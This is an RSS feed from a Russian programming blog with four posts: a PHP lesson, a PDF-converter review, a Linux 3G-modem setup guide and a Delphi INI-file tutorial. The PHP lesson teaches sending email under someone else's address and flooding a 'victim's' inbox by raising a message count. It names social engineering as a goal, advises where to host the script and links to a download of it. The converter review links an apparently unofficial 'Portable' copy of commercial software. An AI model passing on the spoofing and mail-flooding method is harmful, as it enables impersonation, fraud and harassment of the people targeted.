<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>DevProg: Блог для программистов</title>
	<atom:link href="http://devprog.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://devprog.wordpress.com</link>
	<description>Секреты программирования. Примеры разработки. Обзоры программёрского софта, блогов и форумов и просто полезные советы!</description>
	<lastBuildDate>Tue, 03 Jan 2012 19:52:09 +0000</lastBuildDate>
	<language>ru</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='devprog.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>DevProg: Блог для программистов</title>
		<link>http://devprog.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://devprog.wordpress.com/osd.xml" title="DevProg: Блог для программистов" />
	<atom:link rel='hub' href='http://devprog.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Урок PHP &#8211; Как отправить электронное письмо с адресом чужого e-mail ящика?!</title>
		<link>http://devprog.wordpress.com/2011/03/19/%d1%83%d1%80%d0%be%d0%ba-php-%d0%ba%d0%b0%d0%ba-%d0%be%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d1%8c-%d1%8d%d0%bb%d0%b5%d0%ba%d1%82%d1%80%d0%be%d0%bd%d0%bd%d0%be%d0%b5-%d0%bf%d0%b8%d1%81%d1%8c/</link>
		<comments>http://devprog.wordpress.com/2011/03/19/%d1%83%d1%80%d0%be%d0%ba-php-%d0%ba%d0%b0%d0%ba-%d0%be%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d1%8c-%d1%8d%d0%bb%d0%b5%d0%ba%d1%82%d1%80%d0%be%d0%bd%d0%bd%d0%be%d0%b5-%d0%bf%d0%b8%d1%81%d1%8c/#comments</comments>
		<pubDate>Sat, 19 Mar 2011 11:21:38 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[Новичку]]></category>
		<category><![CDATA[Советы]]></category>
		<category><![CDATA[Хитрости]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php исходники]]></category>
		<category><![CDATA[php редактор]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/?p=282</guid>
		<description><![CDATA[Урок PHP &#8211; Как отправить электронное письмо с адресом чужого e-mail ящика?! В современной всемирной паутине, в многообразии коммуникативных средств и методов, у большинства возникает желание или насущная необходимость отправить электронное письмо с чужого e-mail адреса, иначе говоря, отправить сообщение с поддельным адресом отправителя. И при этом каждый преследует разные цели, начиная от простого прикола [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=282&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:center;"><strong>Урок PHP &#8211; Как отправить электронное письмо с адресом чужого </strong><strong>e-</strong><strong>mail ящика?!</strong></p>
<p><strong> </strong></p>
<p>В современной всемирной паутине, в многообразии коммуникативных средств и методов, у большинства возникает желание или насущная необходимость отправить электронное письмо с чужого e-mail адреса, иначе говоря, отправить сообщение с поддельным адресом отправителя. И при этом каждый преследует разные цели, начиная от простого прикола над другом, заканчивая продвинутой социальной инженерией. Не смотря на то, какую цель мы преследуем, программная реализация этой задачи остается одинаковой для всех случаев. Итак, начнем. Я распишу все действия подробно, для того чтобы не возникало лишних вопросов по реализации php-скрипта.</p>
<p>1. Начинаем кодить, открывайте свой любимый редактор кода и записывайте аккуратно команды одну за другой (лично я пользуюсь <strong><span style="color:#ff9900;">Notepad</span><span style="color:#ff0000;">+<span style="color:#339966;">+</span></span></strong>, скачать актуальную русскую версию редактора можно <a title="notepad++" href="http://turbobit.net/4pdown5dsqph.html">отсюда</a>):</p>
<p style="text-align:center;"><img class="aligncenter size-full wp-image-283" title="редактор-кода" src="http://devprog.files.wordpress.com/2011/03/d180d0b5d0b4d0b0d0bad182d0bed180-d0bad0bed0b4d0b0.png" alt="" width="466" height="464" /></p>
<p>Как видите, только что, написанный нами скрипт, позволяет не только отправлять электронные письма от чужого адреса,  но и еще зафлудживать электронный ящик жертвы (параметр, равен количеству отправляемых сообщений $amount = 1;).</p>
<p>И если есть желание или цель зафлудить, можно конечно задать параметру $amount ，числовое значение равное 100 и тем самым зафлудить чужой мыльник. При этом, не стоит забывать, что отправка проводиться средствами PHP, так что полноценного спама не получиться. J</p>
<p>После того как написали и отредактировали под свои настройки скрипт, необходимо выбрать сервер, с которого мы и будет его запускать.  Если цель, отправить 1 сообщение с поддельным чужым электронным адресом, вполне достаточно будет зарегистрироваться на бесплатных хостингах с поддержкой пхп, а таких немало, к примеру holm.ru , 110mb.com и т.п. Обычно они разрешают отправку писем, со своих доменов, но с большим временем ожидания (может доходить до 1 минуты). Но а если нужен продолжительный и суровый флуд, то тут уже нужен полноценный хостинг, или вдс-ка с обязательным наличием PHP и Sendmail. Остается только отредактировать скрипт под свои настройки и залить его на хостинг/сервер/вдс и запустить через браузер.</p>
<p>Скачать готовый скрипт из урока можно отсюда (<a title="php искходники" href="http://turbobit.net/2jrjioldesbc.html" target="_blank">исходники sender.php</a>)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/282/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/282/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/282/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=282&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2011/03/19/%d1%83%d1%80%d0%be%d0%ba-php-%d0%ba%d0%b0%d0%ba-%d0%be%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d1%82%d1%8c-%d1%8d%d0%bb%d0%b5%d0%ba%d1%82%d1%80%d0%be%d0%bd%d0%bd%d0%be%d0%b5-%d0%bf%d0%b8%d1%81%d1%8c/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>

		<media:content url="http://devprog.files.wordpress.com/2011/03/d180d0b5d0b4d0b0d0bad182d0bed180-d0bad0bed0b4d0b0.png" medium="image">
			<media:title type="html">редактор-кода</media:title>
		</media:content>
	</item>
		<item>
		<title>Обзор бесплатного софта pdf to word converter</title>
		<link>http://devprog.wordpress.com/2011/03/11/%d0%be%d0%b1%d0%b7%d0%be%d1%80-%d0%b1%d0%b5%d1%81%d0%bf%d0%bb%d0%b0%d1%82%d0%bd%d0%be%d0%b3%d0%be-%d1%81%d0%be%d1%84%d1%82%d0%b0-pdf-to-word-converter/</link>
		<comments>http://devprog.wordpress.com/2011/03/11/%d0%be%d0%b1%d0%b7%d0%be%d1%80-%d0%b1%d0%b5%d1%81%d0%bf%d0%bb%d0%b0%d1%82%d0%bd%d0%be%d0%b3%d0%be-%d1%81%d0%be%d1%84%d1%82%d0%b0-pdf-to-word-converter/#comments</comments>
		<pubDate>Fri, 11 Mar 2011 20:13:56 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[Новичку]]></category>
		<category><![CDATA[Обзоры]]></category>
		<category><![CDATA[Советы]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/?p=277</guid>
		<description><![CDATA[На данный момент у пользователей ПК возникают  потребности в конвертировании PDF-файлов в Word. Большой проблемы в этом нет, но есть один нюанс &#8211; программ для конвертации достаточно много. Вот в этом мы как раз и попробуем разобраться. &#160; &#160; Выбор программы будет основан на том, какую именно цель вы преследуете. Если вам нужно сохранить первоначальную [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=277&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>На данный момент у пользователей ПК возникают  потребности в конвертировании PDF-файлов в Word. Большой проблемы в этом нет, но есть один нюанс &#8211; программ для конвертации достаточно много. Вот в этом мы как раз и попробуем разобраться.</p>
<p>&nbsp;</p>
<p><img class="aligncenter size-medium wp-image-278" title="pdftoword" src="http://devprog.files.wordpress.com/2011/03/pdftoword.png?w=225&#038;h=300" alt="pdf to word converter" width="225" height="300" /></p>
<p>&nbsp;</p>
<p>Выбор программы будет основан на том, какую именно цель вы преследуете. Если вам нужно сохранить первоначальную структуру файла, лучшим решением будет найти специальный софт – конвертер PDF. Подойдут небольшие утилиты или универсальные конвертеры с достаточным количеством настроек. Из последних отличным выбором будут  <a title="pdf to word" href="http://best-musik.ru/files/Smart PDF Converter Pro v4.2.3.264 Portable.rar" target="_blank">Smart PDF Converter Pro</a> и <a href="http://www.softportal.com/software-3210-abbyy-pdf-transformer.html" target="_blank">ABBYY PDF Transformer</a><a title="PDF Transformer" href="http://pdf-reader.ru/converter/abbyy-pdf-transformer.html"></a>. Также, хорошие показатели в конвертировании PDF в DOC показали такие программы как VeryPDF. При конвертировании DVG в PDF достойно выглядела BlueLabelSoft.</p>
<p>Но, если вам необходимо конвертировать лишь пару абзацев, то оптимальным выбором будет Adobe Reader и Foxit Reader.</p>
<p>Некоторые веб-мастера имеют нужду в конвертировании PDF в HTML. Тут уже задача услажняется из-за того, что желания пользователя может не совпасть с конечным результатом выданным программой.</p>
<p>Также, для конвертации еще существует масса онлайн-сайтов. Но они вам подойдут если у вас есть доступ к интернету. Один из сайтов, предоставляющих данную услугу является <a href="http://www.adobe.com/products/acrobat/access_onlinetools.html" target="_blank">www.adobe.com</a>.</p>
<p>Ссылки:</p>
<p>www.freepdfconvert.com</p>
<p>www.adobe.com</p>
<p>Скачать:</p>
<p>Pdf в Doc &#8211; http://www.hellopdf.com/download.php</p>
<p>BlueLabelSoft &#8211; http://www.brothersoft.com/publisher/blue-label-soft.html</p>
<p>ABBYY PDF Transformer &#8211; http://www.softportal.com/software-3210-abbyy-pdf-transformer.html</p>
<p>Solid Converter PDF   &#8211; http://www.softportal.com/software-4129-solid-converter-pdf.html</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/277/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/277/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/277/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=277&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2011/03/11/%d0%be%d0%b1%d0%b7%d0%be%d1%80-%d0%b1%d0%b5%d1%81%d0%bf%d0%bb%d0%b0%d1%82%d0%bd%d0%be%d0%b3%d0%be-%d1%81%d0%be%d1%84%d1%82%d0%b0-pdf-to-word-converter/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>

		<media:content url="http://devprog.files.wordpress.com/2011/03/pdftoword.png?w=225" medium="image">
			<media:title type="html">pdftoword</media:title>
		</media:content>
	</item>
		<item>
		<title>Ставим  МТС коннект модем на Linux (Ubuntu, Mandriva и др.)</title>
		<link>http://devprog.wordpress.com/2011/03/05/%d1%81%d1%82%d0%b0%d0%b2%d0%b8%d0%bc-%d0%bc%d1%82%d1%81-%d0%ba%d0%be%d0%bd%d0%bd%d0%b5%d0%ba%d1%82-%d0%bc%d0%be%d0%b4%d0%b5%d0%bc-%d0%bd%d0%b0-linux-ubuntu-mandriva-%d0%b8-%d0%b4%d1%80/</link>
		<comments>http://devprog.wordpress.com/2011/03/05/%d1%81%d1%82%d0%b0%d0%b2%d0%b8%d0%bc-%d0%bc%d1%82%d1%81-%d0%ba%d0%be%d0%bd%d0%bd%d0%b5%d0%ba%d1%82-%d0%bc%d0%be%d0%b4%d0%b5%d0%bc-%d0%bd%d0%b0-linux-ubuntu-mandriva-%d0%b8-%d0%b4%d1%80/#comments</comments>
		<pubDate>Sat, 05 Mar 2011 20:14:54 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[Советы]]></category>
		<category><![CDATA[Хитрости]]></category>
		<category><![CDATA[линукс]]></category>
		<category><![CDATA[мтк коннект]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/?p=270</guid>
		<description><![CDATA[Ставим  МТС коннект модем на Linux. Всем Доброго времени суток дорогие читатели. Сегодня хочу вам поведать, как поставить под Linux популярный 3G  модем МТС коннект.  Столкнулся с проблемой, так как сижу на сборке Ubutu, а в сам модем зашиты  драйвера исключительно для Windows и Mac. Но это еще не значит, что его нельзя поставить на [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=270&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Ставим  МТС коннект модем на Linux.</strong></p>
<p><img class="aligncenter size-full wp-image-271" title="MTS-LINUX" src="http://devprog.files.wordpress.com/2011/03/mts-linux.jpg" alt="мтс коннект на linux" width="247" height="245" /></p>
<p>Всем Доброго времени суток дорогие читатели. Сегодня хочу вам поведать, как поставить под Linux популярный 3G  модем МТС коннект.  Столкнулся с проблемой, так как сижу на сборке Ubutu, а в сам модем зашиты  драйвера исключительно для Windows и Mac. Но это еще не значит, что его нельзя поставить на другие операционные системы.</p>
<p>Во время подключения модема через USB , он успешно определился и смонтировался,  как dev/ttyUSB  используя  usbserial.ko интерфейс. Если же он не определился в вашей системе, скорее всего дело в версии ядра, а оно не должно быть младше 2.6.19. В таком случае вам нужно будет скачать дополнительный драйвер, чтобы Linux мог определить модем.</p>
<p>Берем его отсюда : <a href="http://oozie.fm.interia.pl/src/huawei.tar.bz2">huawei-e220</a>. Для установки драйвера потребуется пару минут и никакой сложности это не должно вызвать.</p>
<blockquote><p><span style="color:#0000ff;">Tar xjvf huaiwei.tar.bz2</span></p>
<p><span style="color:#0000ff;">$ cd huawei</span></p>
<p><span style="color:#0000ff;">$ su</span></p>
<p><span style="color:#0000ff;"># make install_<span style="color:#ff0000;">(ваша версия дистрибутива)</span></span></p></blockquote>
<p>Стоит обратить внимание не последнюю команду “ # make install_ваша версия ”</p>
<p>, в зависимости от вашего дистрибутива Linux, она может отличаться. Например, если у вас Ubuntu, то она будет иметь вид make install_ubuntu ,  если Mandrake -  make install_mandrive и т.д. Думаю вы поняли.</p>
<p>Теперь, когда этот нужный системе драйвер установлен, остается только настроить интернет-соединение через штатную программу wvdial( если ее нет берем отсюда  <a href="http://wvstreams.googlecode.com/files/wvdial-1.61.tar.gz" target="_blank">wvdial</a> ). Чтобы не мучатся постоянно с  прописыванием длинной команды,  в файле конфигурации /etc/wvdial.conf  прописываем:</p>
<blockquote><p><em><span style="color:#000000;">[Dialer huawei]</span></em></p>
<p><span style="color:#ff0000;">Modem = /dev/ttyUSB0</span></p>
<p><span style="color:#ff0000;">Baud = 460800</span></p>
<p><span style="color:#ff0000;">Init1 = ATZ</span></p>
<p><span style="color:#ff0000;">Init2 = ATQ V1 E1 S0=0 &amp;C1 &amp;D2 +FCLASS=0</span></p>
<p><span style="color:#ff0000;">Init3 = AT+CGDCONT=1 , “IP” , “internet.mts.ru”</span></p>
<p><span style="color:#ff0000;">ISDN = 0</span></p>
<p><span style="color:#ff0000;">Dial Attempts = 1</span></p>
<p><span style="color:#ff0000;">Modem Type = USB Modem</span></p>
<p><span style="color:#ff0000;">Phone = *99#</span></p>
<p><span style="color:#ff0000;">Phone1 = *99#</span></p>
<p><span style="color:#ff0000;">Username = ‘mts’</span></p>
<p><span style="color:#ff0000;">Password = ‘mts’</span></p>
<p><span style="color:#ff0000;">Auto DNS = on</span></p>
<p><span style="color:#ff0000;">New PPPD = yes</span></p></blockquote>
<p>Почти все, ничего сложного,  и еще, после набора в консоли команды wvdial huawei (посредством ключа huawei нам нужно указать  название соединения, которое мы хотим установить), соединение через E220 будет выполнено. Чтобы его разорвать, нужно удерживая нажать СTRL + C на клавиатуре.</p>
<p>Для дополнительного комфорта, рекомендую установить небольшую программу, которая даст нам информацию, что твориться с интернет каналом на текущий момент, ведь никакого визуального мониторинга у нас нет(скачать ее можно тут <a href="http://oozie.fm.interia.pl/src/he220stat.tar.bz2">he220stat.tar.bz2</a>).</p>
<blockquote><p><em><span style="color:#0000ff;">Tar xjvf he220stat.tar.bz2</span></em></p>
<p><em><span style="color:#0000ff;">Cd he220stat*</span></em></p>
<p><em><span style="color:#0000ff;">sudo ./configure</span></em></p>
<p><em><span style="color:#0000ff;">sudo make</span></em></p>
<p><em><span style="color:#0000ff;">sudo make install</span></em></p></blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/devprog.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/devprog.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/devprog.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/devprog.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/devprog.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/devprog.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/devprog.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/devprog.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/devprog.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/devprog.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/devprog.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/devprog.wordpress.com/270/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/devprog.wordpress.com/270/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/devprog.wordpress.com/270/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=270&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://devprog.wordpress.com/2011/03/05/%d1%81%d1%82%d0%b0%d0%b2%d0%b8%d0%bc-%d0%bc%d1%82%d1%81-%d0%ba%d0%be%d0%bd%d0%bd%d0%b5%d0%ba%d1%82-%d0%bc%d0%be%d0%b4%d0%b5%d0%bc-%d0%bd%d0%b0-linux-ubuntu-mandriva-%d0%b8-%d0%b4%d1%80/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b4f222e67a459f343d695e3ca1deff01?s=96&#38;d=wavatar" medium="image">
			<media:title type="html">devprog</media:title>
		</media:content>

		<media:content url="http://devprog.files.wordpress.com/2011/03/mts-linux.jpg" medium="image">
			<media:title type="html">MTS-LINUX</media:title>
		</media:content>
	</item>
		<item>
		<title>Урок Delphi – Учимся подключать .INI файлы в свои Delphi-приложения.</title>
		<link>http://devprog.wordpress.com/2010/07/25/%d1%83%d1%80%d0%be%d0%ba-delphi-%e2%80%93-%d1%83%d1%87%d0%b8%d0%bc%d1%81%d1%8f-%d0%b8%d1%81%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d0%be%d0%b2%d0%b0%d1%82%d1%8c-ini-%d1%84%d0%b0%d0%b9%d0%bb%d1%8b-%d0%b2/</link>
		<comments>http://devprog.wordpress.com/2010/07/25/%d1%83%d1%80%d0%be%d0%ba-delphi-%e2%80%93-%d1%83%d1%87%d0%b8%d0%bc%d1%81%d1%8f-%d0%b8%d1%81%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d0%be%d0%b2%d0%b0%d1%82%d1%8c-ini-%d1%84%d0%b0%d0%b9%d0%bb%d1%8b-%d0%b2/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 13:45:43 +0000</pubDate>
		<dc:creator>devprog</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[Новичку]]></category>
		<category><![CDATA[.INI файлы в Delphi]]></category>

		<guid isPermaLink="false">http://devprog.wordpress.com/?p=241</guid>
		<description><![CDATA[Сегодня мы рассмотрим, как подключать инициализационные файлы в свои приложения на Delphi. Инициализационные .INI файлы представляют собой, обычные текстовые файлы, которые вы могли наблюдать обычно в папках с программами на вашем компьютере. Они используются для хранения пользовательских настроек и параметров и обычно открываются любыми текстовыми редакторами и имеют такой формат: &#60;название параметра&#62; = &#60; его [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=devprog.wordpress.com&amp;blog=5097681&amp;post=241&amp;subd=devprog&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Сегодня мы рассмотрим, как подключать инициализационные файлы в свои приложения на <strong><span style="color:#008000;">Delphi</span></strong>. Инициализационные <strong>.INI</strong> файлы представляют собой, обычные текстовые файлы, которые вы могли наблюдать обычно в папках с программами на вашем компьютере. Они используются для хранения пользовательских настроек и параметров и обычно открываются любыми текстовыми редакторами и имеют такой формат:</p>
<blockquote><p><em><span style="color:#008000;">&lt;</span>название параметра<span style="color:#008000;">&gt;</span> <span style="color:#808080;">=</span> <span style="color:#008000;">&lt;</span> его значение<span style="color:#008000;">&gt;</span></em></p></blockquote>
<p>Работать с <strong>.INI</strong> файлами в <strong><span style="color:#008000;">Delphi</span></strong> очень просто. Основной базовый класс для работы с ними это <strong>TIniFile</strong>, который позволяет производить над ними все операции записи и считывания, перезаписи пользовательских настроек.  Есть еще класс <strong>TMemIniFile</strong>, который  отличается и первого <strong>TIniFile,</strong> тем, что все данные записываются в оперативную память компьютера, и сохраняются на диске только в момент вызова <strong>UpdateFile</strong> метода. Оба этих класса содержаться в модуле <strong>IniFile</strong> и для того, чтобы мы смогли использовать  <strong>.INI</strong> файлы и работать с этими классами в ваших приложениях, вы должны добавить  модуль IniFiles в секцию Uses.</p>
<p>Создать  объект класса TIniFile или TMemIniFile очень просто, для этого нужно передать конструктору имя .INI файла. В случае, если данного файла не существует, он создается автоматически. Для чтения/записи  из/в .INI файл пользовательских значений программно существуют методы</p>
<blockquote><p><em><span style="color:#0000ff;">ReadSrting<span style="color:#000000;">/</span>WriteString;</span></em></p>
<p><em><span style="color:#0000ff;">ReadDate<span style="color:#000000;">/</span>WriteDate;</span></em></p>
<p><em><span style="color:#0000ff;">ReadInteger<span style="color:#000000;">/</span>WriteInteger;</span></em></p>
<p><em><span style="color:#0000ff;">ReadBool<span style="color:#000000;">/</span>WriteBool;</span></em></p></blockquote>
<p>Довольно теории, теперь попробуем попрактиковаться и написать небольшое приложение, наглядно демонстрирующее работу с инициализационными файлами в Delphi и классом TIniFile. Наше приложение после запуска считает из .INI файла информацию о положении и размерах окна, а так же содержимого поля ввода типа Edit, а когда мы  закроем приложение оно вновь запишет в .INI файл свои новые( если мы поменяли размер окна или что-то написали в поле ввода) данные, с которыми оно откроется в следующий раз.</p>
<p>Открываем Delphi,  помещаем на форму компоненты Edit(поле ввода) и Button(обычная кнопка). Будем обрабатывать события компонента Form, главной формы  при создании OnCreate и закрытии OnClose, а  также события нажатия на кнопку Button OnClick.</p>
<p>Добавляем в секцию подключаемых модулей Uses модуль IniFile, в котором содержится класс TIniFile, с которым наше приложение будет работать.</p>
<p>В самом начале работы программы (в теле обработчика события создания формы OnCreate) мы попробуем прочитать данные из .INI файла. Чтобы это реализовать, создадим объект класса TIniFile, вызвав его конструктор, с именем нужного файла.  Имя файла мы получим из имени исполняемого файла приложения Application.ExeName, изменив его расширение на “ini” с помощью функции ChangeFileExt.</p>
<p>Извлекать из .INI файла отдельные значения мы будем с помощью методов: ReadInteger, ReadString и ReadBool. Эти функции имеют 3 аргумента</p>
<ol>
<li style="text-align:left;"><span style="color:#003366;">Read/Write*(имя типа данных Integer, String или Bool)*  ( 1N , 2N, 3N ) ;</span></li>
<li style="text-align:left;"><span style="color:#003366;">1N  &#8211; первый аргумент, имя секции, в нашем случае это будет Form</span></li>
<li style="text-align:left;"><span style="color:#003366;">2N -  второй аргумент, имя параметра (Top, Left, Text и т.п.)</span></li>
<li style="text-align:left;"><span style="color:#003366;">3N – третий аргумент, указывает значение по умолчанию(100, 200, 300 и т.п.) если используется Read* чтение, в случае Write* записи, это будет записываемое значение.</span></li>
</ol>
<p>Извлечь значения из .INI файла нам возможно и не удастся  не только в аварийном случае, но и по нескольким из причин, например, отсутствие  инициализационного файла, или секции. Поэтому, для обработки подобных или еще более серьезных  ошибок мы будем использовать защищенный блок <span style="color:#008000;"><strong>try</strong></span>…<span style="color:#008000;"><strong>finally</strong></span>.</p>
<blockquote><p><span style="color:#0000ff;">procedure TForm1.FormCreate(Sender: TObject);</span><br />
<span style="color:#008000;">var</span><br />
IniSoub: TIniFile;<br />
<span style="color:#008000;">begin</span><br />
Caption := &#8216;*.INI&#8217;;<br />
Button1.Caption := &#8216;&amp;Сохранить&raquo;<br />
Edit1.Text := &raquo;;<br />
//создаем объект класса TIniFile<br />
IniSoub := TIniFile.Create(ChangeFileExt(Application.ExeName, &#8216;.ini&#8217;));<br />
<span style="color:#008000;">try</span> // пробуем прочитать данные<br />
Edit1.Text := IniSoub.ReadString(&#8216;Edit&#8217;, &#8216;Text&#8217;, &raquo;);<br />
Top := IniSoub.ReadInteger(&#8216;Form&#8217;, &#8216;Top&#8217;, 100);<br />
Left := IniSoub.ReadInteger(&#8216;Form&#8217;, &#8216;Left&#8217;, 100);<br />
Height := IniSoub.ReadInteger(&#8216;Form&#8217;, &#8216;Height&#8217;, 100);<br />
Width := IniSoub.ReadInteger(&#8216;Form&#8217;, &#8216;Wedth&#8217;, 147);<br />
<span style="color:#008000;">IF</span> IniSoub.ReadBool(&#8216;Form&#8217;, &#8216;Maximized&#8217;, false) <span style="color:#008000;">then</span><br />
WindowState := wsMaximized<br />
<span style="color:#008000;">else</span><br />
WindowState := wsNormal;<br />
<span style="color:#008000;">finally</span><br />
IniSoub.Free; //освобождаем память<br />
<span style="color:#008000;">end;<br />
end;</span></p>
<p><span style="color:#0000ff;">procedure TForm1.Button1Click(Sender: TObject);</span><br />
<span style="color:#008000;">begin</span><br />
Close;<br />
<span style="color:#008000;">end;</span></p></blockquote>
